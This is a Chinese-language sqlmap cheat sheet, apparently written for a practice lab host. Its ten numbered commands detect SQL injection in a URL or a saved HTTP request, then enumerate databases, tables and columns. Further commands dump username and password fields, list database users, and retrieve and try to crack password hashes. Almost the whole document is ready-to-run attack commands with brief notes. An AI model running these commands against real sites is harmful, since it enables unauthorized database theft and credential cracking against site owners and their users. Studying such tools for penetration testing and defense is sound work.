1.判断是否存在注入
命令实例:sqlmap.py -u http://pu2lh35s.ia.aqlab.cn/?id=1
**注意:当注入点后面的参数大于或者等于两个时,需要加双引号sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1"
2.判断文本中的请求是否存在注入
命令实例:sqlmap.py -r desktop/1.txt
使用该命令是需要指明1.txt(保存着http请求 bp抓包有)文件所在绝对路径
3.查询当前用户下的所有数据库
命令实例:sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --dbs
4.数据库的表名
命令实例:sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D 库名 --tables
5.表中的字段名
命令实例:sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D 库名 -T 表名 --columns)
6.字段内容
命令实例:sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D 库名 -T 表名 - C 字段名(username,password) --dump
7.浏览数据库的所有用户
命令实例:sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --users
**注意:如果在当前用户有权限读取包含所有用户的表的权限时,使用这个命令可以列出所有管理用户。
8.获取数据库的密码
命令实例:sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --passwords
**注意:如果当前用户有读取包含文件密码的权限,sqlmap会先列举出用户,然后列出Hash,并尝试破解,(一般是加密的密文)
9.获取当前用户数据库的名称
命令实例:sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --current-db
10.使用当前网站数据库的用户名称
命令实例:sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --current-user